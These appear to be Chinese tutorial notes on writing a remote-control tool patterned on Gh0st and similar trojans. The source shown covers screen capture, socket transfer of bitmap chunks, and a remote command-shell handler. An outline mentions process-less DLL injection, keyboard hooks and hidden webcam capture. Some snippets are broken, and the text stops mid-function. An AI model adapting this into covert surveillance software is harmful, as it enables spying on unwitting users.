一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
屏幕监控的流程
服务端
while(true)
{
获取图像数据();
//
发送图像数据();
}
客户端
while()
{
//
接受图像数据();
显示图像();
}
查看屏幕的 define 宏信号
1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧
基本流程:获取图像 — 发送图像 — 显示图像
实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像
char *p; // 字符数组
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};
RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据
RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}
LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况
zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb
http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子
CapScreenJpeg JPEG算法
隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描
隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++
LZW:
Vipshell
守候远控
压缩库
PCShare
综合使用 + 汇编实现
1:150 倍
多线程 + 阻塞socket
1000-2000台
完成端口
60000 自由管理
DLL形式 注入-无进程
屏幕传输的压缩解压方案
键盘钩子
try优化
定制化远控
界面
命令
传输结构体
server.cpp 安装服务的操作
主函数中 入口 注释 保留创建服务
int _tmain(int argc, _TCHAR* argv[])
{
/*
SERVICE_TABLE_ENTRY DispatchTable[] =
{
//服务程序的名称和入口点
{(wchar_t*)ServiceName,ServiceMain}, //服务名
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束
{NULL,NULL}
};
//连接服务控制管理器,开始控制调度程序线程
StartServiceCtrlDispatcherW(DispatchTable);
InstallService();
*/
::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));
while(true)
{
Sleep(10000);
}
return 0;
}
创建线程 点击主机Runservice
子系统 入口点
//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )
有命令行能够显示
#include “StdAfx.h”
#include “Screen.h”
#include “math.h”
void CScreen::GetScreen()
{
CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象 设备描述表CDC类指针 当前画布的GDI句柄
CRect rc; // 定义矩形
CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
CDC memDC; //定义一个内存画布
memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
CBitmap bmp;
bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
memDC.SelectObject(&bmp); //选中位图对象
BITMAP bitmap;
bmp.GetBitmap(&bitmap);
panelsize = 0; //记录调色板大小 类成员 double panelsize;
//需要增加颜色判断算法
//bitmap.bmBitsPixel = 4; //更改颜色
if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
{
panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));
}
HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize); // 结构体 BITMAPINFO *pBMPINFO;
pBMPINFO->bmiHeader.biBitCount = bitmap.bmBitsPixel;//4
pBMPINFO->bmiHeader.biClrImportant = 0;
pBMPINFO->bmiHeader.biCompression = 0;
pBMPINFO->bmiHeader.biHeight = height;
pBMPINFO->bmiHeader.biPlanes = bitmap.bmPlanes;
pBMPINFO->bmiHeader.biSize = sizeof(BITMAPINFO); // 位图大小 像素大小
pBMPINFO->bmiHeader.biSizeImage = bitmap.bmWidthBytes*bitmap.bmHeight;
pBMPINFO->bmiHeader.biWidth = width;
pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY); // 绘画
TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
pData = new BYTE[TotalSize]; // 压缩发送 类成员 私有变量 无符号指针
if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
{
printf("Return 0\n");
//delete pData;
pData = NULL;
return;
}
}
#include "Common.h"
#include "MySocket.h"
class CScreen
{
private:
void GetScreen();
void SendBmpHeaderinfo();
void SendBmpData();
BYTE* pData;
BITMAPINFO *pBMPINFO;
CMySocket m_sock;
UINT TotalSize;
int HeadTotal;
double panelsize;
public:
HANDLE m_h;
void CleanData();
void SendScreenData();
CScreen(void);
~CScreen(void);
bool flag;
SOCKET m_sock_screen; // 初始化获取到的socket 的值
};
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//
#pragma once
#include <afx.h>
#include <afxwin.h> // CDC
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: 在此处引用程序需要的其他头文件
#include <winsock2.h>
#include <windows.h>
common定义消息值 (server,client都要定义)
#define SCREEN 0x0E
定义在 common.h
typedef struct tagBMPDATA
{
BITMAPINFO bmpheadinfo; // 结构体中包含结构体
int Id;
bool Show;
int Size;
int HeadSize;
UINT Begin;
BYTE Data[5000];
}BMPDATA;
指向 bit mapinfo 指针存放的内容
GDi 的定义
包含
头部
颜色 数组
传输消息 用的 通用结构体
可以在这里打印 int值得大小 得知 每次传输数据的大小
结构体的大小
byte 无符号 字符型
int 4
1024*5 5120
5120 +4 * 1024 = 5.0 —> 5k
void CScreen::SendBmpHeaderinfo()
{
BMPDATA bmpdata; // 定义结构体
memset(&bmpdata,0,sizeof(BMPDATA)); // 清空操作
bmpdata.Id = 0; //说明它是什么数据
bmpdata.Show = false;
bmpdata.Size = TotalSize;
bmpdata.HeadSize = HeadTotal;
//memcpy(&bmpdata.bmpinfo,pBMPINFO,HeadTotal);
memcpy(&bmpdata.bmpheadinfo,pBMPINFO,sizeof(BITMAPINFO));
// 发送结构体
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SCREEN; // 屏幕命令
memcpy(msg.context,&bmpdata,sizeof(BMPDATA));
m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S)); //MySocket 类的成员
}
ThreadMain.h
#include "Screen.h"
class CThreadMain
{
private:
CScreen m_screen;
static DWORD WINAPI SendScreen(LPVOID self);
};
传递接收的socket
类似于 cmd 功能 , 内置线程 发送 获取信息
threadMain.cpp
case CMDSHELL:
{
printf("CmeShell\n");
m_cmd.Cmd_GetSock(l_Socket);
::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));
Sleep(200);
::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
}
break;
case SCREEN:
{
printf("Screen\n");
m_screen.m_sock_screen = l_Socket;
if(strcmp((char*)msg.context,"T") == 0)
{
m_screen.m_h = CreateThread(0,0,SendScreen,(LPVOID)&m_screen,0,0);
}
else
{
m_screen.flag = false;
SuspendThread(m_screen.m_h);
m_screen.CleanData();
::CloseHandle(m_screen.m_h);
}
//::CloseHandle(CreateThread(0,0,SendScreen,(LPVOID)&m_screen,0,0));
}
break;
DWORD WINAPI CThreadMain::SendScreen(LPVOID self)
{
CScreen* t = (CScreen*)self;
t->SendScreenData();
return 0;
}
screen.cpp
void CScreen::CleanData()
{
delete pData;
LocalFree(pBMPINFO);
pData = NULL;
pBMPINFO = NULL;
}
void CScreen::SendScreenData()
{
flag = true;
while(flag)
{
GetScreen();
SendBmpHeaderinfo();
SendBmpData();
Sleep(300);
delete pData;
}
printf("ScreenThreadOver\n");
}
void CScreen::SendBmpData()
{
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SCREEN;
BMPDATA bmpdata;
memset(&bmpdata,0,sizeof(BMPDATA));
bmpdata.Id = 1;
int Count = TotalSize / 512 + 1; // 需要发送的次数 下面的512都 改成5000
if(TotalSize % 512 == 0) // 数据内容体
{
Count = Count - 1; // 看是否能整除
}
bmpdata.Show = false; // 告诉客户端 是否可以显示图像
UINT Begin,End; // 定义标志 结束复制
End = 512; // 顶一次到5000
for(int i=0;i<Count;i++)
{
memset(bmpdata.Data,0,512); // 清空
memset(msg.context,0,sizeof(msg.context)); //消息结构体 清空
Begin = i * 512; // begin 开始0
bmpdata.Begin = Begin;
if(i == Count - 1) // 最后一次发送
{
bmpdata.Show = true;
bmpdata.Id = 2;
bmpdata.Size = TotalSize; //总共数据的大小
for(UINT j=Begin,k=0;j<TotalSize;j++,k++) // 100-105
{
bmpdata.Data[k] = pData[j];
}
}
else
{
for(UINT j=Begin,k=0;k<512;j++,k++)
{
bmpdata.Data[k] = pData[j];
}
}
//printf("%d\n",i);
memcpy(msg.context,(char*)&bmpdata,sizeof(BMPDATA));
m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S));
//发送数据
}
}
BYTE pData[100]; 1024*1024
MSG msg; //10;
UINT flag = 0;
//int i=0;i<1024*1024;i++
// flag--- 5Kb 5*1024
//flag = flag + 5*1024
for(;;)
{
//pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
//flag = flag + 10
//send();
}
BYTE pData[105]; 100 - 105 //count + 1
MSG msg; //10;
UINT flag = 0;
//临时结构体 sizeof 结构体大小 532字节 剩余 4588
typedef struct tagBMPDATA
{
//BITMAPINFO bmpinfo;
int Id; // 发送次数
bool Show;
int Size;
int HeadSize;
UINT Begin; // 开始位置
BYTE Data[512]; // 512 + 4588 = 5100 sizeof 5120 -->改成 5000
}BMPDATA;
有次数的循环
数据大小 / 消息结构体的大小
for(sizeof(pData) / sizeof(msg.context) + 1)
{ Begin End
//pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
//flag = flag + 10
//send();
}
修改id
修改风格
主Dlg.cpp
#define ID_SCREEN 1002
BEGIN_MESSAGE_MAP(CExecN0vvDlg, CDialog)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
//主机消息
ON_MESSAGE(ID_ONLINE,OnAddHost)
ON_MESSAGE(ID_OFFLINE,OnOffLine)
//按钮消息
ON_COMMAND(ID_SCREEN,OnScreen)
//}}AFX_MSG_MAP
ON_WM_SIZE()
ON_WM_CLOSE()
END_MESSAGE_MAP()
void CExecN0vvDlg::OnScreen()
{
CItemData *t;
t = GetSelItemInfo();
if(t == NULL)
{
return;
}
else
{
t->RunToScreen();
}
}
CItemData* CxxxxDlg::GetSelItemInfo()
{
POSITION pos_s;
pos_s=m_list.GetFirstSelectedItemPosition();
if(!pos_s)
{
return NULL;
}
int item=m_list.GetNextSelectedItem(pos_s);
CItemData *t;
t = (CItemData*)m_list.GetItemData(item);
return t;
}
主dlg.h
private:
void OnScreen();
CItemData* GetSelItemInfo();
//itemData.cpp
void CItemData::RunToScreen()
{
if(m_screen == NULL)
{
m_screen = new CScreen(this,m_sock);
m_screen->Create(IDD_SCREEN,this);
m_screen->ShowWindow(SW_NORMAL);
}
else
{
m_screen->SetActiveWindow();
}
}
//itemData.h
#include "Screen.h"
class CItemData : public CDialog
{
public:
void RunToScreen();
CScreen *m_screen;
//itemData.cpp
CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
m_screen = NULL;
}
//Screen.h内
#include "Common.h"
#include "MySocket.h"
class CScreen : public CDialog
{
DECLARE_DYNAMIC(CScreen)
public:
CScreen(CWnd* pParent = NULL,SOCKET sock = NULL); // 标准构造函数
virtual ~CScreen();
// screen.cpp
CScreen::CScreen(CWnd* pParent /*=NULL*/,SOCKET sock)
: CDialog(CScreen::IDD, pParent)
{
m_sock = sock;
}
//screen.h
private:
SOCKET m_sock;
stdafx.h
#include "Resource.h"
// 因为里面有 #define IDD_SCREEN 190
void CScreen::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
//CDialog::OnClose();
MSGINFO msg;
memset(&msg,0,sizeof(MSGINFO));
msg.Msg_id = SCREEN;
strcpy_s((char*)msg.context,2,"F");
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
((CItemData*)this->m_pParentWnd)->m_screen = NULL;
DestroyWindow();
}
// screen.h
class CScreen : public CDialog
{
private:
CMySocket m_Mysock;
};
// screen.cpp
#include "ItemData.h"
// screen.cpp
BOOL CScreen::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
if(pMsg->message==WM_KEYDOWN)
{
int nVirtKey = (int)pMsg->wParam;
if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE)
{
return TRUE;
}
}
return CDialog::PreTranslateMessage(pMsg);
}
// Itemdata.cpp
switch(msg.Msg_id)
{
case SYSINFO:
{
SYSTEMINFO systeminfo;
memset(&systeminfo,0,sizeof(SYSTEMINFO));
memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));
GetSysVer(systeminfo);
::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);
}
break;
case SCREEN:
{
if(m_screen == NULL)
{
break;
}
BMPDATA bmpdata;
memset(&bmpdata,0,sizeof(BMPDATA));
memcpy(&bmpdata,msg.context,sizeof(BMPDATA));
m_screen->GetScreen(bmpdata);
}
break;
default:
{
MessageBox(_T("获取消息ID错误"),_T("错误"),MB_OK|MB_ICONWARNING);
}
}
在这里插入代码片
client 的 common.h 引入结构体
typedef struct tagBMPDATA
{
BITMAPINFO bmpheadinfo;
int Id;
bool Show; //是否可以显示图像
int Size;
int HeadSize;
UINT Begin;
BYTE Data[5000];
}BMPDATA;
//screen.h
public:
void GetScreen(BMPDATA bmpdata);
// screen.cpp
void CScreen::GetScreen(BMPDATA bmpdata) //显示图像
{
//BMPDATA bmpdata;
//memcpy(&bmpdata,&bmpdata_s,sizeof(BMPDATA));
switch(bmpdata.Id)
{
case 0: // 头信息
{
pBInfo = (BITMAPINFO*)LocalAlloc(LPTR,bmpdata.HeadSize);
memcpy(pBInfo,&bmpdata.bmpinfo,bmpdata.HeadSize);
pData = new BYTE[bmpdata.Size];
memset(pData,0,bmpdata.Size);
}
break;
case 1: // 位图信息
{
//复制数据
for(int i=bmpdata.Begin,j=0;j<512;i++,j++)
{
pData[i] = bmpdata.Data[j];
}
}
break;
case 2: // 最后一次发送的图像数据
{
//最后一次复制数据
for(int i=bmpdata.Begin,j=0;i<bmpdata.Size;i++,j++)
{
pData[i] = bmpdata.Data[j];
}
}
break;
default:
{
MessageBox(_T("未知的图像数据ID"),_T("提示"),MB_OK);
delete[] pData;
LocalFree(pBInfo);
return;
}
}
//判断传送完以后是否可以显示图像
if(bmpdata.Show)
{
SCROLLINFO hStructure,vStructure;
memset(&hStructure,0,sizeof(SCROLLINFO));
memset(&vStructure,0,sizeof(SCROLLINFO));
hStructure.cbSize = sizeof(SCROLLINFO);
vStructure.cbSize = sizeof(SCROLLINFO);
//获取滚动条的位置,根据位置绘制图像
GetScrollInfo(SB_HORZ, &hStructure);
GetScrollInfo(SB_VERT, &vStructure);
CRect rc1;
GetClientRect(&rc1);
::StretchDIBits(GetDC()->m_hDC, // 显示图像
0,
31,
pBInfo->bmiHeader.biWidth,
pBInfo->bmiHeader.biHeight,
hStructure.nPos,
-vStructure.nPos,
pBInfo->bmiHeader.biWidth,
pBInfo->bmiHeader.biHeight,
pData, //位图数据
pBInfo, //BITMAPINFO 位图信息头
DIB_RGB_COLORS,
SRCCOPY
);
// 设置当前滚动条位置
hStructure.fMask = SIF_ALL;
hStructure.nMin = 0;
//hStructure.nMax = bitmap.bmWidth;
hStructure.nMax = pBInfo->bmiHeader.biWidth;
hStructure.nPage = rc1.right;
SetScrollInfo(SB_HORZ, &hStructure);
vStructure.fMask = SIF_ALL;
vStructure.nMin = 0;
//vStructure.nMax = bitmap.bmHeight + 31;
vStructure.nMax = pBInfo->bmiHeader.biHeight + 31;
vStructure.nPage = rc1.bottom;
SetScrollInfo(SB_VERT, &vStructure);
delete []pData;
LocalFree(pBInfo);
pData = NULL;
pBInfo = NULL;
}
return;
}
客户端的CScreen中添加公共数据 (位图头,位图数据)
// screen.h
BYTE *pData; //屏幕数据 无符号 char 型
BITMAPINFO *pBInfo; //位图头指针
BMPDATA bmpdata_t;
改写结构体的大小 宏5000的大小
修改发送函数
threadmain case screen -> 复制socket -> 创建新线程 -> 发送数据
itemdata case SCREEN -> getscreen() 数据处理 保存在类的公共变量-> 最后一次传输 show 显示
5064 结构体体积
// screen.cpp
BOOL CScreen::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
MSGINFO msg;
memset(&msg,0,sizeof(MSGINFO));
msg.Msg_id = SCREEN;
strcpy_s((char*)msg.context,2,"T");
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
// screen.h
public:
afx_msg void OnClose();
virtual BOOL PreTranslateMessage(MSG* pMsg);
virtual BOOL OnInitDialog();
图像信息不完整
客户端接收时 发现漏掉了
// screen.cpp
case 1: //位图数据
{
//复制数据
for(int i=bmpdata.Begin,j=0;j<5000;i++,j++)
{
pData[i] = bmpdata.Data[j];
}
}
break;
添加滚动条消息
void CScreen::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if(nSBCode != SB_ENDSCROLL)
{
SCROLLINFO vStructure;
GetScrollInfo(SB_VERT, &vStructure); // 获取滚动条的信息
vStructure.nPos = nPos;
SetScrollInfo(SB_VERT, &vStructure);
}
CDialog::OnVScroll(nSBCode, nPos, pScrollBar);
}
void CScreen::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if(nSBCode != SB_ENDSCROLL)
{
SCROLLINFO hStructure;
GetScrollInfo(SB_HORZ, &hStructure);
hStructure.nPos = nPos;
SetScrollInfo(SB_HORZ, &hStructure);
}
//Invalidate();
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
server 端的死循环 创建线程 并没有关闭
设置成flag
当前可不可以发送屏幕
否则挂起 退出进程
client 告诉server 端 关闭了窗口
T/F 用来区分 是否发送信息
挂起 清除数据
client 刚开启时候 初始化为 T
客户端: visual stdio2010
服务端: visual C++ 6.0 +platform SDK February2003
MSDN文档
https://learn.microsoft.com/zh-cn/
(1)大规模软件开发的设计思想。
(2)Windows下图形界面编程、各种控件的实际应用(本教程将会使用到各种Windows控件)。
(3)Windows下多线程程序的开发、以及线程同步,互斥等。
(4)Windows下程序间利用Socket通信。
(5)详细理解Winddos下远程注入技术。
(6)Windows服务程序的开发。(服务方式启动是服务端启动方式的一种)
(7)如何书写更加简洁 ,易于维护的代码。
通过本教程学员将得到:
(1) 本远程管理的源代码。
(2) 教程中所有Demo的源码。
(3) 作者的一些小工具。
课时安排:(每节课20—30分钟,太长的教程看了就想睡觉:-D)
(1) 客户端界面的设计和编写(10课时)(注:支持窗口的伸缩以及窗口中控件的伸缩)
(2) 从Gh0st客户端中分离出Socket数据传输的内核、分析数据传输的代码体会作者的设计思想,并加入客户端(5课时)
(3) 创建服务端,并从Gh0st服务端中分离出Socket数据传输的内核,分析数据传输的代码体会作者的设计思想,并加入服务端(5课时)
(4) 远程终端管理的编写(5课时)
(5) 远程进程管理的编写(4课时)
(6) 远程窗口管理的编写(4课时)(注:支持窗口的隐藏,最大化,最小化)
(7) 远程桌面管理的编写(6课时)(注:可以从中学习到BMP位图格式,屏幕的抓取,像素的比较)
(8) 远程文件管理的编写(6课时)
(9) 远程语音管理的编写(4课时)
(10) 远程视频管理的编写(6课时)(注:支持无驱摄像头,视频压缩,视频录像)
(11) 服务端安装和启动的编写:服务启动(5课时)ActiveX启动(4课时)
(12) 远程服务管理的编写(6课时)
(13) 远程注册表管理的编写(6课时)
(14) 从客户端生成服务端,远程连接数据加密(4课时)
HDC CreateDC( //得到指定设备名的设备描述表
LPCTSTR lpszDriver, // driver name 设备名
LPCTSTR lpszDevice, // device name 特殊设备名
LPCTSTR lpszOutput, // not used; should be NULL 通常设置为NULL 兼容x86x64
CONST DEVMODE* lpInitData // optional printer data 驱动程序的初始化DEVMODE结构指针 NULL
);
得到设备名将设备打开
HDC CreateCompatibleDC( //为设备描述表创建兼容的内存`设备描述表`
HDC hdc // handle to DC 设备句柄
);
返回值为设备的内存描述表
将打开的设备描述表选定到内存
int GetDeviceCaps( //得到指定设备的信息 高度 宽度
HDC hdc, // handle to DC //设备句柄 设备描述表
int nIndex // index of capability //指定要得到那个方面的信息
);
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-getdevicecaps
HBITMAP CreateCompatibleBitmap( // 创建一个与设备描述表兼容的位图
HDC hdc, // handle to DC //设备描述表
int nWidth, // width of bitmap, in pixels //位图的宽度
int nHeight // height of bitmap, in pixels //位图的高度
);
HGDIOBJ SelectObject( 把对象选到内存设备描述表中
HDC hdc, // handle to DC //设备描述表
HGDIOBJ hgdiobj // handle to object //要加入的对象
);
设备描述表与新加入的对象兼容关联
BOOL BitBlt( //对指定的原设备环境区域中的像素进行位块转换 可以理解为抓图
HDC hdcDest, // handle to destination DC //设备对象
int nXDest, // x-coord of destination upper-left corner //目标矩型区域的左上角x坐标
int nYDest, // y-coord of destination upper-left corner //目标矩形区域的左上角y坐标
int nWidth, // width of destination rectangle //目标巨型区域的逻辑宽度
int nHeight, // height of destination rectangle //目标巨型区域的逻辑高度
HDC hdcSrc, // handle to source DC //源设备句柄
int nXSrc, // x-coordinate of source upper-left corner //源矩型区域的左上角x坐标
int nYSrc, // y-coordinate of source upper-left corner //源矩型区域的左上角y坐标
DWORD dwRop // raster operation code //光栅操作代码
);
新建工程 基本对话框
HBITMAP
Copybitmap(LPRECT lprect)
给区域 拷贝出来 bitmap
HDC hscrdc, hmemdc;// 屏幕和内存设备描述表
HBITMAP hbitmap, holdbitmap;// 位图句柄
int nx, ny, nx2, ny2;// 选定区域坐标
int nwidth, nheight;// 位图宽度和高度
int xscrn, yscrn;// 屏幕分辨率
// 确保选定区域不为空矩形
if (IsRectEmpty(lprect))
return NULL;
//为屏幕创建设备描述表 整个桌面
hscrdc = CreateDC("display", NULL, NULL, NULL);
//为屏幕设备描述表创建兼容的内存设备描述表
hmemdc = CreateCompatibleDC(hscrdc);
// 获得选定区域坐标
nx = lprect->left;
ny = lprect->top;
nx2 = lprect->right;
ny2 = lprect->bottom;
// 获得屏幕分辨率
xscrn = GetDeviceCaps(hscrdc, HORZRES);
yscrn = GetDeviceCaps(hscrdc, VERTRES);
//确保选定区域是可见的
if (nx < 0)
nx = 0;
if (ny < 0)
ny = 0;
if (nx2 > xscrn)
nx2 = xscrn;
if (ny2 > yscrn)
ny2 = yscrn;
nwidth = nx2 - nx;
nheight = ny2 - ny;
// 创建一个与屏幕设备描述表兼容的位图
hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
// 把新位图选到内存设备描述表中
holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
// 把屏幕设备描述表拷贝到内存设备描述表中
BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
//得到屏幕位图的句柄
hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
//清除
DeleteDC(hscrdc);
DeleteDC(hmemdc);
// 返回位图句柄
return hbitmap;
LPRECT temprect; //创建一块区域
HBITMAP tempmap;
temprect = new RECT();
temprect->bottom = 200;
temprect->left = 0;
temprect->right = 200;
temprect->top = 0;
tempmap = Copybitmap(temprect);
//显示获取的屏幕
m_pic.SetBitmap(tempmap);
delete temprect;
//CDialog::OnOK();
更改资源名 IDC_STATIC_BITMAP
添加变量 m_pic 为 控件形式
c + w
遵守了 微软的bmp 结构 还是一些数据
一个bmp文件由四部分组成:
struCt tagBITMAPFIlEHEADER 文件头
strut tagBITMAPINFOHEADER 位图信息头
typedef tagRGBQUAD RGB
位图数据
typedef struCt tagBITMAPFIlEHEADER
{
WORD bftype; //BM 两个字节 头文件 表示 是个 bitmap文件
DWORD bfsiZe: //位图文件大小 四个字节 双字
WORD bfReservedl; //必须为0
WORD bgReserved2: //必为0
DWORD bfoffBits: // 图像数据在 文件内的起始地址 字节
}BITMAPFILEHEADER;
高高低低
16 94 04 00 49416
16进制 --> 10进制 /1024 = 293 kb
第多少个 字节 为数据文件
36 00 00 00
36 --> 54
BITMAPINFOHEADER数据结构用于说明位图的大小,其定义为:
type struct tagBITMAPINFOHEADER
// 结构体成员
{
DWORD biSize: //结构BITMAPINFOHEADER所占用的存储容量,固定值为40
28 00 00 00 --> 10进制 40
DWORD biWldth; //给出该BMP文件所描述位图的宽度与高度
DWORD biHeight; //给出该BMP文件所描述位图的宽度与高度
C8 00 00 00 200
F4 01 00 00 1F4 500
尺寸 200 x 500
WORD biPlanes: //它代表目标设备的平面数必须为1。
WORD 2个字节
01 00
WORD biBitCount:
//它确定每个像素所需要的位数。
当图像为单色时,该字段的取值为1;
当图像为16色时,该字段的取值为4;
当图像为256 色时,该字段的取值为8;
当图像为真彩色时,该字段的取值为24。
18 -> 24
DWORD biCOmpression;//它代表bottom—up类型位图的 压缩类型
E0 93 04 00 493E0 300000
DWORD 8个字节
4xBYTE = DWORD
4x2 = 8 bit
DWORD biSiZelmage; //给出该BMP 内图像数据占用的空间大小
DWORD biXPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
DWORD biYPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
DWORD biClrUsed; //给出位图实际使用的颜色表中的 颜色变址数
DWORD biClrlmportant;//它给出位图显示过程中 重要颜色的变址数。
}BITMAPINFOHEADER;
typedef struct tagRGBQUAD
{
BYTE rgbBlue;
BYTE rgbGreen;
BYTE rgbRed;
BYTE rgbReserved; //它不代表任何意 义,必须取固定值00
}RGBQUAD;
bmp结构还提供了另外一个结构类型
成员定义
tyPedef stmCt tagBITMAPINFO
{
BITMAPINFOHEADER bmiHeader:
RGBQUAD bmiC010ur[1];
}BITMAPINFO;
注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行
BOOL
SaveBmp(CString lpFileName, HBITMAP hBitmap)
HDC hDC;
//设备描述表
int iBits;
//当前显示分辨率下每个像素所占字节数
WORD wBitCount;
//位图中每个像素所占字节数
//定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数
DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;
BITMAP Bitmap;
//位图属性结构
BITMAPFILEHEADER bmfHdr;
//位图文件头结构
BITMAPINFOHEADER bi;
//位图信息头结构
LPBITMAPINFOHEADER lpbi;
//指向位图信息头结构 lp 指针 需要分配空间使用
HANDLE fh, hDib, hPal;
HPALETTE hOldPal=NULL;
//定义文件,分配内存句柄,调色板句柄
//计算位图文件每个像素所占字节数
hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
iBits = GetDeviceCaps(hDC, BITSPIXEL) *
GetDeviceCaps(hDC, PLANES);
DeleteDC(hDC);
iBits=24;
if (iBits <= 1)
wBitCount = 1;
else if (iBits <= 4)
wBitCount = 4;
else if (iBits <= 8)
wBitCount = 8;
else if (iBits <= 24)
wBitCount = 24;
else
wBitCount = 32;
//计算调色板大小
if (wBitCount <= 8)
dwPaletteSize=(1<<wBitCount)*sizeof(RGBQUAD);
//设置位图信息头结构
GetObject(hBitmap, sizeof(BITMAP), (void*)&Bitmap);
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = Bitmap.bmWidth;
bi.biHeight = Bitmap.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = wBitCount;
bi.biCompression = BI_RGB;
bi.biSizeImage = 0;
bi.biXPelsPerMeter = 0;
bi.biYPelsPerMeter = 0;
bi.biClrUsed = 0;
bi.biClrImportant = 0;
dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;
//为位图内容分配内存
hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
*lpbi = bi;
// 处理调色板
hPal = GetStockObject(DEFAULT_PALETTE);
if (hPal)
{
hDC = ::GetDC(NULL);
hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);
RealizePalette(hDC);
}
// 获取该调色板下新的像素值
GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);
//恢复调色板
if (hOldPal)
{
SelectPalette(hDC, hOldPal, TRUE);
RealizePalette(hDC);
::ReleaseDC(NULL, hDC);
}
//创建位图文件
fh=CreateFile(lpFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
if (fh==INVALID_HANDLE_VALUE)
return FALSE;
// 设置位图文件头
bmfHdr.bfType = 0x4D42; // "BM"
